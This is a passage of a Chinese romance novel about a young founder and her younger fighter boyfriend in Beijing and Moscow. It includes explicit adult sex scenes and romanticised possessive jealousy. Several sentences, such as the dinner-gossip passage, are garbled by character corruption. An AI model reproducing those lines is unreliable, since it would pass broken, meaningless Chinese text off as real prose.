燕棠刚说完,就看见江月的目光缓缓移至宋郁脸上,又转向她。 “你……他……原来你是…” 江月的男朋友也来了,跟宋有熟稳地打了个招呼,然后对燕棠笑着说:“久闻大名啊。” 毕业典礼在下午结束,晚上的聚餐虽说是整个年级的学生聚餐,但并不是所有人都参加,想去就去,还可以带家属,大家基本都带着自己的男朋友或者女朋友。 直到晚上聚餐,江月才终于反应过来,她下午是在跟八卦正主说话。聚餐的许多同学显然也听过燕棠的名号,等宋郁介绍她的时候,说的都不是“你好”,而是“哎呀他终于追到了啊哈哈哈”。 吃饭的位置在五道口附近一家粤菜馆,包了两个包厢,房间连通。 多数是中国学生,少数和中国学生关系很好的留学生也来了,燕棠跟宋郁在桌边坐下,环视一周,发现还真像江月所说的,这学院里贼多身材好的体育生,尤其是打篮球的和游泳的。 大家坐在一起聊起毕业去向,去体制内的比燕棠毕业那会儿还要多,去的还都是义部或者委,相互敬酒况福都是踏实做人,诚心做事,“希望二十年后不要在新闻联播上看见彼此”。体育生们之后要么继续为国争光,要么转行当教练,培养为国争光的体育人才。 不过燕棠没想到的是,和宋郁关系最好的就是那位温哥华来的学生,大概两人都是留学生,家境也相似。 对方听燕棠说在开公司,眉头一挑,笑着跟宋郁碰杯,说:“挺行啊,咱俩都找了厉害的老婆。” 燕棠这才注意到那男生无名指已经戴着婚戒。 等晚上回到家的时候,两个人一起站在卫生间刷牙洗脸,她忍不住跟宋郁提起今天听江月提起的事情。 “我没想到自己在你们年级这么出名。” 宋郁透过镜子跟她对视,淡定道:“是我说的啊“ “所以关于我的事情就在你们年级飞了四年?”燕棠哭笑不得。 宋郁倒是完全不在意其他人传他的失恋故事,因为他也知道很多其他人的八卦。 他联她说起今天智桌上有谁已经订婚,有谁已经结婚了,除了小日子已经定下来的同学外,当然地有少海王的病来效事,比如渔经常弯腿在年级里恶名远场,谁后怕了两任男朋友是一个B里的好兄弟,哪光后两个人 都训不去了等等。小两口过日子,其中最精彩的娱乐项目就是关起门来一起躲进被子说八卦 燕棠听完后感叹了三遍“你们xx大学的学生怎么把日子过得比小说还精彩”。 她听得有意思,眼睛亮晶晶地等着宋郁继续说下去可惜宋郁大多数时间都在外面比赛,知道得也不多,能说的都说完了。 燕棠想起今天在聚餐上看见的那个温哥华来的留学生,心里再次升惊讶:“那个男生跟你差不多大吧?他就结婚了?” “很奇怪吗?他的妻子是同级法学院的同学,如果不是今天有工作也会过来。 “年纪太小了吧。” 他靠在床头,把燕棠拉进怀里,忽然很认真地对她说:“其实关于结的事情,你想错了,我们从小就过很多女孩子,有钱的没钱的,身边也有很多有钱的叔叔网姨,出轨啊、离婚分家之类的看过大多了,所以我们遇到应效的人就会安心定下来,因为知道越成赖的人越难有真心。” 燕棠和他视线相对,心里忽然感知到了什么微妙的讯息。 但宋郁没有说下去,只是笑了笑,跟她说起另一个好消息。“教练觉得我现在的状态比之前要好,可以开展运动专项训练了,但这个阶段会非常长、非常辛苦 燕棠一听,也替他高兴,“太好了,我就说慢慢来会有效果!这个意思是不是有很大希望能回到赛场了?” “如果前四个月的进展理想,接下来才能进行MMA专项训练。” 那也算是一个好消息,至少希望更大了。她也跟宋郁分享自己的好消息,“如果我现在这个项目进展好,之后就可以推A轮融资了。” 宋郁笑着看她一脸兴奋的样子,缓缓说:“我还没说完呢。” “嗯?” 他凑近她,用鼻尖轻轻地蹭了下她的脸颊,轻声说:“接下来会有很长一段时间,我没有合约、没有工作…” 燕棠明白了。 她怜爱地摸了摸宋郁的漂亮脸蛋,“没关系,我养得起你。” 57、十六七岁的他... 宋郁听她这么说,双眼含笑地看着她,也不再继续把下半句话说完。 两人亲热地抱在一起,轻轻把这个话题带过,各自心里都有想法。 对于宋郁这种家境优渥的人,谈女朋友是一回事,结婚又是另一回事。且不论两个人是不是情投意合,财产上的协定是最敏感的。 冯橙家也算小有资产,燕棠之前听过冯橙说她姐姐结婚的时候,是双方父母出面聊资产,婚前婚后分清楚,协议签明白,就连父母去世后的遗产分配也先提前做准备。利益分明的丑话都在父母那层解决了,小夫妻只需要和乐甜蜜地结婚就行。 现在宋郁还被他爸的一年之约拴着,现在根本不适合触及更深层次的问题,他自己心里一定也清楚这件事。 这晚,燕棠难得有些失眠。 她翻过身,借着夜色看宋郁睡着的样子。他睡觉时总是喜欢和她贴在一起,姿势里带着些依恋的味道。 时间过得很快,宋郁已经二十二岁了。他长大了,她的年纪也在增长。 在七月十三号这天,燕棠迈入了二十六岁。 两人已经在北京待了半个多月,回莫斯科的机票买在这周五。在回去之前,她得把公司里一些需要当面开会解决的事情解决。生日这天是周三,会议从早上排 到下午,只能跟宋郁约好晚上一起吃饭。 公司现在一共在推进三个图书策划项目,走的都是小众精品路线,前期选定俄文图书并和莫斯科几家出版公司确定合作意向,接下来的工作就是翻译、上市和后续推广。 看上去非常顺畅的工作流程,实际过程总是会出现各种意外,譬如其中一个小项目在进行阶段性审核,燕棠看了一眼翻译稿件,觉得质量和她预料的差距有点大。这个项目没有基金会参与提供译者资源,所以翻译成本是他们自己 担,公司负责质控的人员数量有限,有多年经验的不多,现在还处在老人带新人的阶段,工作量一大,问题就暴露了。 “得招人,翻译质量不过关的人要换掉。”冯橙说。 燕棠同意,但这意味着又要花一笔钱。她琢磨着能不能自己顶上管一部分业务节省成本,当即算了下工作量,得出的结论是她可能会累死在电脑面前。 会议室不大,窗外太阳毒辣,照进室内落在会议桌上,把茶水的烧热了。 挂在墙上的空调老旧泛黄,制冷效果不好,燕棠今天来了之后让人记得联系师傅来换氟,这点儿钱都舍不得走公司的账,是她自己直接掏腰包付的。 最后一场会议开完是下午五点,其他人离开了会议室,燕棠和冯橙关起门来一起叹气。没过多久,有人在外面敲门,说:“棠总,有人找。” 门一开,宋郁就站在门口。个高腿长的洋帅哥站在这间装修朴素的办公室门口,跟模特儿走错了地方似的,外头在开放办公区干活的员工,无论男的女的都往这边看过来。 冯橙知道燕棠谈了个年纪小的,但之前还没见过她这位小男朋友的照片,这会儿盯着宋郁的脸看了片刻,目光缓缓转向她。 “是我眼睛出现毛病了还是我疯了,为什么染了头发的llya会站在这里?” 这话一出来,燕棠迅速看向宋郁,见他眉头微皱,猜他肯定是听懂了。 "……他是llya的弟弟Kirill,我跟llya一点关系都没有!"她迅速解释,收拾东西跟又是一脸震惊的冯橙告别。“今晚我还有事,刚才讨论的事情我回头再想想。” 这栋商务大楼聚集着各种小公司,光是燕棠的公司所在这一层,就有六七家公司,清 色的玻璃大门,前台墙壁挂着公司logo,走廊被灯管白光照亮,装修还停留在世纪之初。燕棠跟宋郁离开公司,搭乘电梯下楼,发觉他这一路安静得不得了,这会儿正盯着电梯内一串儿公司名字。 电梯抵达一楼,宋郁牵着她的手往外走,也没继续说,而是打量着四周的环境——大门口放着两株招财的橘子树,前台没有人,只有位保安大爷坐在后头玩手机。 两人上车,车窗外风景变化,车一路驶离园区,开上北五环。 “新艺。” 宋郁冷不丁用中文念出了她的公司名字,让燕棠有种被点名的错觉。 她转头看向旁边的人,问:“怎么了?” 宋郁和她对视两秒,说:“我没想到你的公司处境这么糟糕。” 糟糕?倒不至于到这个地步。 燕棠一问,才知道这位小少爷从没见过这么破的办公室,觉得她坐在那破旧会议室里太寒酸。 车在一家法餐厅前停下,侍应生引两人入座,预定的位置布置得特有仪式感,桌面上还洒满了玫瑰花瓣。宋郁给她准备的生日礼物是包,但拿出来后他突然改口,说这个包让她当小礼物拿着算了,他打算换一个生日礼物送给她。 “怎么还临时换了礼物?你打算送什么?”燕棠笑着问他。 “送钱吧。”宋郁说,“你拿去换个地方租办公室,选地址好一点的商务楼,今天我不去都不知道北京还有这样的破园区。” 在他的世界里,公司都是跟高档写字楼挂钩的,装修、物业都要看得出品味,今天那园区别说是品味了,实在是太不起眼。 “我当然知道表面功夫很重要,但我们公司现在还在初创阶段,客户看重的是策划质量。再说了,国内卧虎藏龙,那园区还有些老板看上去跟修空调师傅一样朴素,谁想出门开的是保时捷……”“但你们还在招揽业务的阶段,就跟别人看你的打扮是一样的,虽然你开的是小公司,但身上打扮够贵,对方就知道你这公司后面有人撑腰,没那么快死掉。不然像我哥平常穿成那样是干嘛呢?”宋郁虽然不参加家里的生意,但对生意上的人情世故看得清楚,燕棠那套艰苦朴素的理论在他这里不适用。 浪漫晚餐不宜谈工作,两人的聊天很快转到别处。一餐饭吃完,等车开到住处了,燕棠才发现回的是北四环这套房子。 “怎么来这里了?” “接下来两天约了另外两个教练,要用到家里的地下训练室。”宋郁说。 燕棠已经很久没有来过这套房子里,进门时看了一圈,发现这里的装饰几乎没有变化,只不过吴阿姨陪着娜斯佳去上海住了,房子里现在空无一人。 她在这里留宿过一次,但那时还是宋郁的家教老师,住的是客房。这一回来,她已经是宋郁的女朋友,当然是要睡宋郁的卧室。 这还是燕棠第一次进这间卧室。大概是房子买得早,这间卧室的陈设还能看到一些专为小男孩儿设计的痕迹,比如墙壁是浅蓝色的,收纳柜里还放着毛绒玩具。 来这里住是临时决定,宋郁帮她拿了贴身衣裤,却忘记拿睡裙和接下来几天要穿的衣服。 “衣柜里有我以前的短袖,你可以穿。反正接下来两天你不用开会,在家里穿得随便也没关系。”他提议。 大晚上的也没有别的选择,燕棠只好打开他的衣柜翻找合适的衣物,没想到先翻出了一套西装式的中学校服。 她惊奇地把这套校服拿出来,朝一旁脱衣服准备洗澡的宋郁比划两下,忍不住说:“这里怎么有你的校服?你穿上该多帅啊。” 深色西装外套,白衬衫,经典蓝白配色的领带,外套左胸口处还有学校的纹章。 以前她念中学的时候,校服都是土不拉几的运动服,学生们站在一起全是黄黄蓝蓝的土萝卜,青春靓丽的样子全被遮挡了起来。 “应该是以前有一次直接从学校被接到机场,来北京和我爸妈见面,这套衣服就留在这里了。” 宋郁见她一脸兴奋,走过来靠近了,让她把校服贴在他身上。 可男孩子从十几岁到二十出头的时候恰好是身高变化最大的阶段,再加上他一直接受格斗训练,肌肉量在十八岁以后才渐渐稳定在一定区间,这校服已经明显小了许多。 “先去洗澡。” 他抬手,从衣柜里拿出一件黑色短袖,明显是十六七岁男孩子的尺码,宽袖口长衣摆,衣角低调地纹着某奢侈品牌的logo。 等燕棠洗过澡躺上床,宋郁还真从一个同学的ins里翻出了他以前的照片。 都是合照,一群金发碧眼的斯拉夫少男少女,宋郁在里面仍然是最好看的那个。还别说,他十八岁的时候是美得秀气,但十六七岁的时候更嫩,脸上还有明显的婴儿肥,懒洋洋地冲着镜头笑的样子可爱极了。 燕棠躲在被窝里专注地看照片,宋郁也在看她。少年时的衣服套在她身上,还是显得大了不少,她趴在床上看手机时,领口微微往一侧倾斜,露出半个肩头,看得他心痒。 燕棠正看得起劲,忽然被宋郁翻身压住,腰被他搂得死紧,身上那只手也开始不规矩地摸。 “花期过了吗?”他冷不丁问,手伸进短袖里又捏又揉。 燕棠被他弄得手软脚软,哭笑不得地放下手机:“你怎么这么记仇!” 他不说话,另一只手把她内裤往下拉,催促道:“快说。” “没过,你现在比以前还要帅。” “嗯。我现在还可以给你的公司投钱。”宋郁把她的内裤丢到一边,抬起她的腿。 说起这个,燕棠刚才洗澡的时候也再思考了一下,“就算你想投资,我肯定不能占你便宜,也许可以签个借款协议,到时候如果你看好我的公司发展,转成股权也行…“ 听她这么说,宋郁直接乐了,俯下身跟她接了个吻,说:“我跟你谈感情,你跟我谈生意?哪有在床上戴套谈生意的?” “不是——” 燕棠还没说完,宋郁把她翻了个身,要她双手撑在床头。 他哼了一声,要她放松一点儿,然后慢悠悠地跟她解释:“我出钱是哄你开心,什么借款股权对我来说都不重要,我不希望你开个公司把自己累垮了,那心疼的还不是我……”燕棠又琢磨了一下,摇摇头。“还是算了。”没想到她这一拒绝,反倒惹得宋郁有些不高兴了。他用的力道大了些,赌气般说:“今天是你生日,我想尽办法哄你,结果你这也不要那也不要……”前段时间是生理期,前后几天两个人又都忙,算起来有半个月没做了,燕棠被他弄着两下又感觉自己要被串起来了,下意识往一侧躲。不躲还好,宋郁直接把她抱了起来,穿过和卧室连通的走廊,走到书房里,将她放在书桌上。“早就想在这里做了,我得让你想起那时候你有多喜欢我。”他的声音温温柔柔的,动作却一点儿没卸力。“你知不知道你第一次给我上课的时候,目光都要黏在我脸上了。” “……才没有到黏在你脸上的程度。” 顶多也只是欣赏了一下罢了! “又说谎。”宋郁说,“你要再好好想想,我第一次教你裸绞的时候,你在想什么呢?我们第一次在咖啡馆接吻的时候,你真的只是以为我想安慰你吗?” 燕棠自己都尚且分辨不清那时的心情,这会儿被他一本正经地颠倒黑白,眼里迟疑了一瞬。 这一瞬的迟疑也足够让宋郁稍微高兴一点儿,他希望燕棠在两个人之间能更加主动、毫无保留,不分你我。 “我家里有专门的资产管理人,我爸妈会管我和我哥直到我们有正式工作。所以我爸爸的意思是,如果一年后我没有成绩,我要么回家工作,要么自己掏腰包养团队。我给你钱去养公司,是用我自己的钱,我爸妈不会认为是我乱花钱。”睡前,他又跟燕棠解释,希望打消她的疑虑。 “我会在我爸规定的时间内至少打一场比赛,所以你不用担心。” 燕棠说:“就算是这样,我的公司现在虽然缺钱,但做生意不能总是烧自己的钱,向外融资更明智一点,这件事等之后再说吧,车到山前必有路。” 她最终和冯橙进行了综合考虑,把目光转向国内扶持文化产业的福利政策,决定和一家国有产业基金进行初步的接触。 收到邮件的时候,燕棠已经和宋郁回到了莫斯科。 莫斯科的夏天很美,阳光温柔,四处都是明亮鲜活的绿色。她坐在雪豹俱乐部的走廊处等待宋郁训练结束,用手机查看工作邮件,忽然看见最新一封邮件上出现了一个已经变得陌生的名字。 ——江聿行。 这位已经在燕棠记忆里变得面目全非的老同学,从顶尖大学的金融学院研究生毕业后,进入了投资基金成为投资经理。 燕棠心里大喊一声倒霉,怎么这个年头大家都往国企里挤,好不容易接触上的投资方,还偏偏撞上这个人? 正不巧,她自己看得太投入,没注意到身后冒出来个人。 “这就是你的解决办法?” 宋郁的声音在她头顶忽然响起,燕棠吓得手机都差点儿从手里飞出去。 58、爆浆甜熊.. 完了。 她脑子里只有这一个念头。 刚才燕棠为了辨认这是不是同名的陌生人,不仅点开这封邮件划到最底部去看了江聿行的职位,还切了领英的小号去看他就职的公司名,这才对上了信息。 江聿行的领英头像就跟典型的金融精英一样,深灰色背景,西装领带,眉目清俊。主页背景是北京国贸晚上八点的斑斓夜景,简介寥寥几句话彰显非凡的履历。 人都有八卦的天性,燕棠纯粹是出于好奇才点开他的头像瞅了两眼。 她猜测宋郁应该把整个操作流程都看完了,因为他现在已经变得面无表情。 燕棠冷静下来,伸手握住他的手腕,说:“Kirill,你先听我解释。” 这句话说出口,反而有欲盖弥彰的意思,她立刻就后悔了。 果不其然宋郁眼皮一耷,目光从她的手机屏幕上收回来。“我现在要去康复师那里,MaNbluKa。” 听到这个称呼,燕棠瞬间睁大了眼睛,愣愣地看着他往康复室方向走去。 MaNbluka,小宝贝。 这是宋郁第一次叫她小宝贝。 这么甜蜜的字眼,偏生被他念出了气恼的意思。 理疗室光线明亮,暖洋洋的光线从窗外落进来,楼下一片花圃生长着红色和粉色的花朵,绿叶点缀其间,遥遥看去美得像油画。 宋郁走到床边坐下,瞥见窗外美景,反倒觉得心烦。 康复师是位三十岁左右的大汉,开玩笑般问他要不要咬毛巾,他脱下上衣,结实的胸肌和腹肌因为高强度训练而紧绷着。 “不用。”他说。 人的某些记忆总是和特定字眼联系在一起。比如“江聿行”这三个字就贯穿了宋郁十八岁那年对燕棠追逐的整个过程。 哪怕他曾经耀武扬威般当着江聿行的面将燕棠揽在怀里,但当宋郁第一次造访燕棠在南市的房间,看见那张写满了江聿行的名字,一笔一划之间藏满了少女心事的纸时,他还是窥见了一些令他耿耿于怀的事实。比如那个人是如何在他没能参与的过去,占据了燕棠很长一段时间的心灵。 筋膜刀是银色的,弧度微弯,从某几个角度看上去,的确像匕首一样泛着森寒的光。 运动后的肌肉松解对于运动员而言一直算是一项酷刑,宋郁从来不会叫得很痛苦,但忍耐会让他更具象地体验到疼痛是如何漫过每一寸肌肉的。 筋膜刀抵在左胸口,顺着肌束往下,胸肌的酸痛好像一路渗入肌层覆盖之下的心脏。 宋郁转过头看向窗外。 他不知道燕棠是不是和江聿行早有联系,刚才很想问,但想问的问题太多,一时间堵在喉咙说不出来。 至于燕棠为什么把江聿行的信息看那么仔细,还专门去搜他的情况,宋郁不想仔细思索。 今天本是个好天气,夕阳也美。但现在他觉得一点儿也不美了。 燕棠推开理疗室的门时,阳光一转,恰好落在宋郁身上,把他那双瞳孔照得像宝石一样清澈。 康复师正拿着一根很长的金属筋膜刀在他的腹肌上刮来刮去。 他的眉头因为疼痛而皱起。 注意到她进来了,目光朝她瞥过来,盯着她看。 燕棠安静坐在墙边的凳子上,等康复师给宋郁做完了松解,她跟康复师说:“让他在这里休息一下吧。” 康复师听懂她的意思,笑着说没问题,收拾东西先离开了房间。 等门外的脚步声远离了,燕棠关上门,顺便上锁,拉上窗帘。 米色的帘布遮只能挡住窗外路人的视线,日光蒙蒙地渗进房间里,白瓷砖灰墙壁。宋郁坐在治疗床边,还没穿上衣服,目光看着她,一动不动。 燕棠暗自琢磨他在想什么,走到他面前搂住他脖颈,下一秒,宋郁还像以前那样揽住她的腰。 ——宋郁最大的优点就在这里,他从来不搞冷战这种事情,有话就说。但如果他不说的时候,比如现在,就说明他心里真的很不好受了。 “完全是巧合。”燕棠认真地跟他解释了这件事的前因后果。 “我刚才也很震惊,以为是我看错了,所以才去搜他任职的公司。看见他照片的时候心想,这人越长越不行,根本比不上你…….” 千穿万穿,马屁不穿。有些好话虽然故意成分很明显,奈何听得人耳顺心甜。宋郁终于笑了一下。这笑让燕棠小小松了口气。 她伸手摸了摸他的胸肌,软软的。 又一路往下摸他的八块腹肌,肌肉起伏,凸起的青色血管从小腹往裤头延伸。 还捏了捏他的大臂肌肉,一路往下到小臂,然后牵起他的手。 “刚才疼不疼?”她小声问。 宋郁轻轻应了一声,还是没有更多话。 “那我安慰你好不好。”燕棠照着他喜欢的步骤做,从额头一路往下亲。她心里一边骂江聿行晦气,一边想如果不能把宋郁哄好,不如把他亲死在这里算了。 宋郁也很配合,她轻轻舔了下他的唇瓣,他就张开嘴。不过在这个过程里,他一直表现出相当被动的态度,就连舌吻都是碰一下动一下。 燕棠觉得有点儿棘手,苦苦回忆之前闹小别扭是怎么解决的。她想,宋郁喜欢她主动一点儿,但要主动到什么程度才能让他高兴起来? 这一走神,让她无意识地往他身上贴得紧了一点儿,身上裙子丝滑的面料蹭着他胸口。 宋郁终于把她推开,有些无奈地说:“再亲就要硬了。” “那你还在生气吗?这真的是误会……”燕棠真的很希望把这件事立刻解决,这在她眼里就是一件非常非常小的事情,完全不值得宋郁这么在意。 “我不会真的生你的气。”他站起身,穿上T恤。 今天两个人本来约好要一起在莫斯科散步的。俱乐部离住处很近,开车五分钟,如果走路则是十五至二十分钟。 夏天的莫斯科既有类似北京那样开阔的质感,又带有欧洲城市的古典气息。马涅什广场的四马喷泉和亚历山大花园的花丛会让人恍然有到了南法的错觉。燕棠无心欣赏景色,一直在偷看身边的男人。 他默不作声地牵着她的手走在花园的绿荫下,等快要逛完的时候才忽然开口。“你知道当年我哥带我离开南市的时候,跟我说了什么吗?” 燕棠一怔,随即感到惴惴不安。 他怎么这个时候提? “我哥说了很多,但其中有一句是——感情讲究 缘分,如果两个人想不到一处,走不上一条路,就不能勉强。就算勉强撑下去,也会被消耗掉。”说这话时,宋郁侧过脸看着她。 俄语里没有和“缘分”完全对应的词,燕棠也没有教过他。于是宋郁在那之后花了很大的功夫去,理解他哥话中究竟有几层意思。 他和燕棠对视片刻,又转过头去,看向远处的落日余晖。随后很困惑、很不满地说:“我不明白,为什么我费尽心思才能和你维持联系,但他就那么轻松地在工作上碰见你了。” “这哪算得上什么“缘分''?” 燕棠试图告诉宋郁这些都是小事,完全是偶然,可他似乎并没有被说服。 尽管如此,宋郁也并不和她争辩,只是心里装着这件事,牵着她往回走。 夕阳消失在城际线处,天空变成一片灰粉色,CBD处深蓝色调的摩天大楼与长街另一端的尖顶白色古典建筑遥相对立。 时间让宋郁理解了更复杂的东西,使他在某些时候变得有些沉默。但即便是在沉默的时候,他仍然紧握着燕棠的手。 这让燕棠感到心软。 相处了这么久,她已经可以给宋郁的脾气分级。 大多数时候都是些小脾气,但在极少数的情况下,如果他真的生气了,那会很麻烦—比如那次在西伯利亚,当他听见她和宋璟之间的流言蜚语的时候。 那一次受限于环境,没有套可以用,宋郁光是用手就把她弄得要脱水。 这晚,燕棠洗过澡后换上了一身宋郁的短袖,很大,可以当裙子穿。她上次就发现宋郁似乎很喜欢她穿上他的衣服。 她推开浴室的门,宋郁正躺在床上看手机。 今天他先洗澡,柔软浓密的发丝垂在额前,大概是心情有些低落,唇瓣无意识抿着,显得可怜兮兮的。 对燕棠来说,宋郁的脾气都很可爱。时间让他拥有了成熟男性的温柔和耐心,但富裕和谐的家境让他始终保留着一丝孩子气。而在有些时候,她知道他心里还藏着某些更粗暴的东西,偶尔会在床上克制地泄露出一点点苗头。如果这可以让他感到放松的话………卧室只亮着床头灯,浴室氤氲的雾气顺着门开的方向逸散开来。感受到湿润的气息,宋郁抬眼,目光从手机移开,落在燕棠身上,注意到她那身衣服后果然愣了一秒,把手机放下了。燕棠顶着他的目光,从床尾爬上床,跨坐在他腰上,牵起他的手放在自己的腿上。他的掌心带茧,轻轻抚摸着她的皮肤时,会掀起暖昧的瘙痒。 宋郁猜出了她的意图,“你在哄我开心?” “嗯。”燕棠点头。 “我不是在生你的气,我自己安静一会儿就好了…….”当宋郁说这话时,他看见燕棠撩起了衣服下摆。 鹅黄色的蕾丝内裤两侧只有一条细细的带子,把那处皮肤勒得微微下陷。她就只隔着这一层单薄的布料坐在他腰上。 宋郁忽然安静,就盯着她看,漂亮的眼睛里带着某种克制的打量。 燕棠被他看得有些紧张。可事情做了一半,没有半途而废的道理。 她开始扯他的裤子。 解开运动裤头的系带,把裤子往下扒拉,在理疗室里摸到的小腹处的青筋再次展露在眼前。燕棠对宋郁的判断,大部分都是准确的,但她还没有往更深处思考。于是她也暂时没有意识到,他那些看似无端的介意背后,究竟藏了什么样的真实含义。 一个人有孩子脾气,意味着他始终保持竞争爱和关注的本能。而与此同时,他又是一个成年男人,所以他的生物本能驱使他在雄性斗争的任何风吹草动中都要占据上风。 简而言之,宋郁此刻正在忍耐着心里极度强烈的嫉妒,并且通过平静的状态以免让她感到不安。 而现在,她穿着最能勾起他□□的衣服骑在他身上—— 当燕棠碰到他的内裤边缘时,宋郁终于动了。他抓住她的手腕,帮她完成了这一步动作,然后掀起她的衣角要她咬住。 宋郁在她耳边叹了口气,说:“我只是不想吓到你。”但他转而又道:“但你这样我哪儿拒绝得了?既然真的想让我高兴,那就好好骑,可以吗?” 所谓好好骑,就是不可以半途而废,突然喊累,还要配合宋郁的需求调整位置。 而他自始至终都靠在床头,等她真的没力气了,就直接扣住她的腰给她借力。 无论多么可爱、善解人意、以她的需求为准来施展温柔,宋郁本质上仍然是个富有侵略性的男人。他要让燕棠明白,甜蜜的爱情也有着扭曲的一面,他并不总是能为此忍耐。这是他为什么对和亲哥相关的那些流言、对江聿行如此富有敌意的原因。 当宋郁让她几乎哭叫出声的时候,他问她:“你明白我的感受吗?” 燕棠这时已经完全脱力地趴在他身上,靠在他肩头,抬眼视线所及,是他利落漂亮的下颌线。 她的大脑缓慢地转动着,又听见宋郁说:“我不知道你对他的感情是怎么开始的,但是……. 夜色弥漫,他们身上都汗湿了。床单狼藉一片,地面散落着纸巾和打结的避孕套。 燕棠的发丝和胸口还留着尚未完全干涸的污渍,腰间皮肤因为被宋郁双手紧握而留下一片经久不去的红色。 “但当年你对我说过,我不是你喜欢的类型。你是在说谎吗?你肯定不是吧。” 宋郁抬眼看着燕棠。她眼里冒着生理性的泪花,身体发颤,因被他的手紧紧捂住了嘴,此刻说不出话来。 他缓声继续说:“所以我想让你一直看见我令你满意的那一面。”“可是………” 可是爱情的真实面貌一定燃烧着非理性的火焰。这火焰闪烁跳动的节律,叫做“不安全感”。 直到说完这话,宋郁才翻身让她躺在床上,高大结实的身躯直起,影子将她整个笼罩在黑暗里。 如果安全感不够,他还可以从别处取得,就像现在。既然是燕棠主动邀请,要哄他开心,他自然也不遗余力。 宋郁抬手,轻轻碰了碰她的脸颊,俯下身和她接吻,双手分别扣住她的膝窝。 下一秒。 燕棠说不出话来,只能发出类似于猎物被箭矢射穿时的呜咽。 她在第二天差点儿没能爬起床开会。 从床上爬起来的时候,宋郁也刚醒。这小子睡得一脸无害的样子,脑袋一个劲儿往她怀里钻,见她手忙脚乱去刷牙换衣服,立刻问她要去哪里。 “九点有一个线上会。” 燕棠套上一件衬衫,屈膝抵在床沿,俯身亲了他脸颊一口。“现在高兴了吗?“ 他盯着她看了几秒,“可你还是要跟他一起工作。” “我不是跟他一起工作,他只是投资方的一个员工。” “让他们把他撤了。”宋郁说。 燕棠笑了笑,“可那不是你们家的基金。” “我可以想办法。”“你不可以。”燕棠制止了这位少爷某些不好的打算,又亲了他一口,“我来解决。”亲吻在某种程度上确实对宋郁有安抚作用,他不再说话了,只是静静看着她换上衣服离开卧室。莫斯科比北京晚五个小时,这会儿是莫斯科早上九点,恰好是北京时间下午两点的时候,线上会议链接提前十分钟开放,燕棠接入时对面还没什么人。虽然没什么人,但恰恰好就有江聿行。会议室里应该是有人把视频投屏了,所以江聿行能清楚地看见燕棠。他事先已经知道了标的公司的管理层,但此刻看见燕棠,脸上仍然有掩饰不住的怔然。但江聿行到底已经有了工作经验,很快朝她客气地笑了笑,“您好,棠总。” 燕棠也礼貌性地打招呼,“你好,江经理。” 话音刚落,出于某种直觉,她朝书房门边瞥了一眼,又吓了一跳。 准备出门训练的宋郁,不知道什么站在了门边偷看。她正准备连接耳机,所以刚才那道招呼是外放的,宋郁肯定听见了。可他什么都没说,还替她关上书房的门。 视频会议那头的办公室很快来人了,长桌两侧,冯橙和公司员工坐一边,基金的人坐另一边,正中坐着一位约五十岁左右的女性,应该是这场会议最大的领导,江聿行则坐在她的右边。 除了燕棠外,还有几位领导也是线上接入,等人到齐了就开始,是江聿行和冯橙主要进行沟通。 过了一分钟,燕棠忽然收到了两条微信。 「我想跟你说我要出门了。」「还有开会顺利。」 这本该是很正常的两句话。可宋郁突然把他的微信头像改成了一只躺在被窝里哭泣的小熊。 自从知道燕棠给他的备注是“甜熊”之后,他开始学会用改头像这种更隐蔽的方式来表达自己的不满。 燕棠放下手机,忍不住想到昨晚。 甜熊不够贴切,前头应该加“爆浆”这俩字。 59、都记仇 三个小时的会议结束,燕棠退出会议,往后靠在椅子上闭目养神,舒缓有些疲倦的精神。 微信上弹出几条消息,是江聿行发来的。 他们上一次聊天结束于一通略有争执的电话,不过也因为是电话交流,微信上没有留下什么令人不太愉快的字眼,所以现在的交流也维持着基本的体面。 江聿行说好久不见,问她是不是定居莫斯科了,创业经营不容易之类的寒暄。燕棠只是客气地回了两句,随后以又要开会为由结束了聊天。 她的确还有一个小会,是跟刚才那桌上坐在正中位置的领导的通话。 虽说公司是初创公司,体量小,而燕棠作为公司里主管业务的创始人之一,年纪也很轻,但如果非要对标一下级别,她其实比江聿行高一个头。 创业的好处也在这里,自己当老板压力大,但在业务里的话语权是不一样的。 燕棠在下午四点左右完成工作,散步到雪豹俱乐部去找宋郁。 他现在已经开始了部分格斗专项技术的训练,比如轻量沙袋训练、慢速组合拳和合适强度的摔跤、柔道技术。 清场的训练室内以粗犷的黑灰色调为主,高大壮硕的棕发教练快速地念着训练口令。 为了方便训练,宋郁没穿上衣,抬手伸臂或转身出拳时,肩背上的肌群起伏极其明显。 那次在书房里做了一次,燕棠头一次透过墙面的镜子见过,当他压在她身上,将她的腿举到他的肩头,或者前后摆腰的时候,他背后的肌肉是如何随动作变化的。 对一个人的感情,如果一直不去想不去看,也许就瞒过了大脑,以为自己真的不在意了。 可如果有人逼着她去直面、去思考、去回忆,这闸门一旦打开,许多细节和情意便会在许多个不经意的瞬间里复苏。然后变得越来越深刻。 走廊外侧的窗户大开着,阳光从外头漏进来,把地面和墙壁染上金色的光。她站在走廊里,能清晰地听到宋郁在训练室内将沙袋打的砰砰响的声音。 ——宋郁在各种意义上都吸引她。 恰巧里面的训练结束,教练跟他说了一句话,宋郁立刻转头朝窗户这边看过来,像只大猫看见主人般走来窗边。 他的额头和鼻尖上还冒着汗珠,走廊阳光直射入他眼里,那双瞳孔变成璀璨的金棕色。 “你开完会了?”宋郁推开窗户。 燕棠笑着说:“刚刚结束,过来看你是不是真的哭了。” 他们这天照样散步回到家,吃过晚饭后一起坐在客厅看电视。 灯光几乎都关了,只余下一盏中式刺绣落地灯亮着光。这是两人在上个月偶然路过一家古董家具店时淘到的。墙上挂着鹿尾蕨,一旁的植物架上摆放着这段时间里陆陆续续买来的多肉和薄荷。 宽屏电视上播放着体育新闻,两个人坐在沙发上,谁也没认真看,放出声音只图个热闹, 宋郁随手拈起燕棠一缕头发玩儿,委婉地问:“今天你开会还顺利吗?” 燕棠想。“五句半。” “你可以直接问你想问的,Kirill。” 他也不装了:“他跟你说了几句话?” “你算得怎么这么精准?” “因为没聊完我就去开下一个会。”燕棠耐心解释。 宋郁沉默一秒,低头开始亲她的肩,“好了,不问了,我们可以开始做爱了。” “我还没说完。”燕棠被他的发丝挠得有些痒,笑出了声。 她故意不说,侧身靠着宋郁肩头,“你总是这样,自己要问,问了又不高兴。” “我不高兴的结果就是又服务你一晚上罢了。”他说,“但我会想办法把你的初恋情人支走的,比如找一个投资公司给他开更高的工资,把他挖走。” “那恐怕你没办法这么做了。” “为什么?” 